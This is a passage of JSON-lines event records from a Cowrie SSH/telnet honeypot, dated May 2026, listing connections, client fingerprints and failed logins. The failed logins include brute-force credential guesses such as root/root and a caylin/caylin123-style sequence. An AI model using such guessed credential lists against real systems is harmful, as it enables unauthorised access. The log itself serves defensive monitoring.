4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:46.987562Z","src_ip":"176.65.132.143","session":"5a7f5580d5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:47.155870Z","src_ip":"176.65.132.143","session":"5a7f5580d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:48.242043Z","src_ip":"176.65.132.143","session":"5a7f5580d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":40846,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf62280bdc68","protocol":"ssh","message":"New connection: 213.209.159.56:40846 (159.203.135.109:22) [session: cf62280bdc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:16.036286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:16.041129Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:16.123581Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin","message":"login attempt [caylin/caylin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:16.523627Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin1","message":"login attempt [caylin/caylin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:17.608276Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin123","message":"login attempt [caylin/caylin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:18.694357Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin1234","message":"login attempt [caylin/caylin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:19.779788Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caylin","password":"caylin12345","message":"login attempt [caylin/caylin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:20.865212Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:21.950061Z","src_ip":"213.209.159.56","session":"cf62280bdc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.42.242.192","src_port":12073,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce60b9446af1","protocol":"telnet","message":"New connection: 176.42.242.192:12073 (159.203.135.109:23) [session: ce60b9446af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:29.122841Z"}
{"eventid":"cowrie.session.closed","duration":12.740989923477173,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:41.863710Z","src_ip":"176.42.242.192","session":"ce60b9446af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":47448,"dst_ip":"10.17.0.5","dst_port":23,"session":"72df59c97600","protocol":"telnet","message":"New connection: 89.41.38.54:47448 (10.17.0.5:23) [session: 72df59c97600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:45.653707Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":51324,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb8ac74e21fa","protocol":"telnet","message":"New connection: 89.41.38.54:51324 (10.17.0.5:23) [session: cb8ac74e21fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:21:58.110980Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":52358,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b624807a3c","protocol":"telnet","message":"New connection: 89.41.38.54:52358 (10.17.0.5:23) [session: 50b624807a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:01.669414Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61294,"dst_ip":"159.203.135.109","dst_port":22,"session":"17341491106b","protocol":"ssh","message":"New connection: 194.59.206.2:61294 (159.203.135.109:22) [session: 17341491106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:13.473041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:13.477213Z","src_ip":"194.59.206.2","session":"17341491106b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:13.563229Z","src_ip":"194.59.206.2","session":"17341491106b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:13.654127Z","src_ip":"194.59.206.2","session":"17341491106b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.27046036720276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:16.924085Z","src_ip":"89.41.38.54","session":"72df59c97600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":58638,"dst_ip":"10.17.0.5","dst_port":23,"session":"de51762ac901","protocol":"telnet","message":"New connection: 89.41.38.54:58638 (10.17.0.5:23) [session: de51762ac901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:22.267353Z"}
{"eventid":"cowrie.session.closed","duration":30.243353128433228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:28.354120Z","src_ip":"89.41.38.54","session":"cb8ac74e21fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":60586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82e8a5fc168","protocol":"telnet","message":"New connection: 89.41.38.54:60586 (10.17.0.5:23) [session: c82e8a5fc168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:30.016870Z"}
{"eventid":"cowrie.session.closed","duration":31.255778312683105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:32.925071Z","src_ip":"89.41.38.54","session":"50b624807a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":35250,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2861c636f49","protocol":"telnet","message":"New connection: 89.41.38.54:35250 (10.17.0.5:23) [session: b2861c636f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:39.551881Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":35562,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a81b03144a","protocol":"telnet","message":"New connection: 89.41.38.54:35562 (10.17.0.5:23) [session: 57a81b03144a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:39.900292Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":35802,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d8340cbf2f","protocol":"telnet","message":"New connection: 89.41.38.54:35802 (10.17.0.5:23) [session: d0d8340cbf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:40.916947Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":36356,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f00bdb67d9","protocol":"telnet","message":"New connection: 89.41.38.54:36356 (10.17.0.5:23) [session: e5f00bdb67d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:42.969461Z"}
{"eventid":"cowrie.session.closed","duration":31.241283655166626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:22:53.508512Z","src_ip":"89.41.38.54","session":"de51762ac901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24895215034485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:01.265725Z","src_ip":"89.41.38.54","session":"c82e8a5fc168","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":41780,"dst_ip":"10.17.0.5","dst_port":23,"session":"a39d53f8a43e","protocol":"telnet","message":"New connection: 89.41.38.54:41780 (10.17.0.5:23) [session: a39d53f8a43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:01.500073Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":41856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5edd89c039a","protocol":"telnet","message":"New connection: 89.41.38.54:41856 (10.17.0.5:23) [session: f5edd89c039a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:01.733518Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":42692,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b67c65327f","protocol":"telnet","message":"New connection: 89.41.38.54:42692 (10.17.0.5:23) [session: c8b67c65327f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:05.579885Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":43402,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf8a1510162","protocol":"telnet","message":"New connection: 89.41.38.54:43402 (10.17.0.5:23) [session: 9cf8a1510162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:10.402450Z"}
{"eventid":"cowrie.session.closed","duration":31.23985195159912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:10.791619Z","src_ip":"89.41.38.54","session":"b2861c636f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21061062812805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:11.110765Z","src_ip":"89.41.38.54","session":"57a81b03144a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23222041130066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:12.149079Z","src_ip":"89.41.38.54","session":"d0d8340cbf2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":56434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2cc271ada70","protocol":"telnet","message":"New connection: 199.103.57.63:56434 (159.203.135.109:23) [session: b2cc271ada70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:13.138002Z"}
{"eventid":"cowrie.session.closed","duration":30.37802004814148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:13.347399Z","src_ip":"89.41.38.54","session":"e5f00bdb67d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":45928,"dst_ip":"10.17.0.5","dst_port":23,"session":"38bf9ba490c3","protocol":"telnet","message":"New connection: 89.41.38.54:45928 (10.17.0.5:23) [session: 38bf9ba490c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:16.285749Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":45780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1cd477bf68e","protocol":"telnet","message":"New connection: 89.41.38.54:45780 (10.17.0.5:23) [session: b1cd477bf68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:16.860498Z"}
{"eventid":"cowrie.session.closed","duration":31.27515196800232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:32.775069Z","src_ip":"89.41.38.54","session":"a39d53f8a43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27738642692566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:33.010767Z","src_ip":"89.41.38.54","session":"f5edd89c039a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285969018936157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:36.865716Z","src_ip":"89.41.38.54","session":"c8b67c65327f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25050115585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:41.652847Z","src_ip":"89.41.38.54","session":"9cf8a1510162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61538743972778,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:46.753286Z","src_ip":"199.103.57.63","session":"b2cc271ada70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254383087158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:47.540001Z","src_ip":"89.41.38.54","session":"38bf9ba490c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256323099136353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:48.116693Z","src_ip":"89.41.38.54","session":"b1cd477bf68e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":55472,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a812aa55aa","protocol":"telnet","message":"New connection: 89.41.38.54:55472 (10.17.0.5:23) [session: b2a812aa55aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:51.437386Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":56000,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0be6a9bb873","protocol":"telnet","message":"New connection: 89.41.38.54:56000 (10.17.0.5:23) [session: e0be6a9bb873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:23:53.535013Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":36234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4012ebdd440c","protocol":"telnet","message":"New connection: 89.41.38.54:36234 (10.17.0.5:23) [session: 4012ebdd440c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:24:22.518902Z"}
{"eventid":"cowrie.session.closed","duration":31.086615562438965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:24:22.523916Z","src_ip":"89.41.38.54","session":"b2a812aa55aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.259639024734497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:24:24.794434Z","src_ip":"89.41.38.54","session":"e0be6a9bb873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":34836,"dst_ip":"159.203.135.109","dst_port":23,"session":"49e381eb81cf","protocol":"telnet","message":"New connection: 194.180.12.23:34836 (159.203.135.109:23) [session: 49e381eb81cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:24:28.576516Z"}
{"eventid":"cowrie.session.closed","duration":31.270772218704224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:24:53.789559Z","src_ip":"89.41.38.54","session":"4012ebdd440c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"12168b46780b","protocol":"telnet","message":"New connection: 89.41.38.54:45592 (10.17.0.5:23) [session: 12168b46780b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:24:55.655309Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.6.60.236","src_port":16110,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c90a7cf5d25","protocol":"ssh","message":"New connection: 154.6.60.236:16110 (10.17.0.5:22) [session: 9c90a7cf5d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:06.635844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:06.646868Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:06.743235Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:41:57:0c:f6:cd:b0:da:68:bc:48:c1:fa:07:54:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCF+Q+i/f0H4zeBJZipP4ZqnFSuxcnzr3zJ/rwebbF2xHddAymkVcAlbgBXVIUCplzqcKcre3JROBpoIBJH8t+HN0BNKVOq6Q2oOSGYVKFSeUI5fYgHCIa05l+x/ef5YNJQxARW4vJbhgj4PI6jcoPhDe2zHcdoMPPiWH0THSG9UPDtTzsK9NKuLQVVv8xgUTZx1uZ1Mnt7fYwo1uZZdXNMjjaM/Ig1IovbFsRqD3pEno7N232amKTw5cwLfoYtqaJUdMhgJLw0VidtEnkL45L2x8aU0Va+mJY/ye8E/il10s+BU328trDvw5dsVoX0DZY970DFSs+18qhaQz95wKEd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:41:57:0c:f6:cd:b0:da:68:bc:48:c1:fa:07:54:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:25:07.178886Z","src_ip":"154.6.60.236","session":"9c90a7cf5d25","protocol":"ssh"}
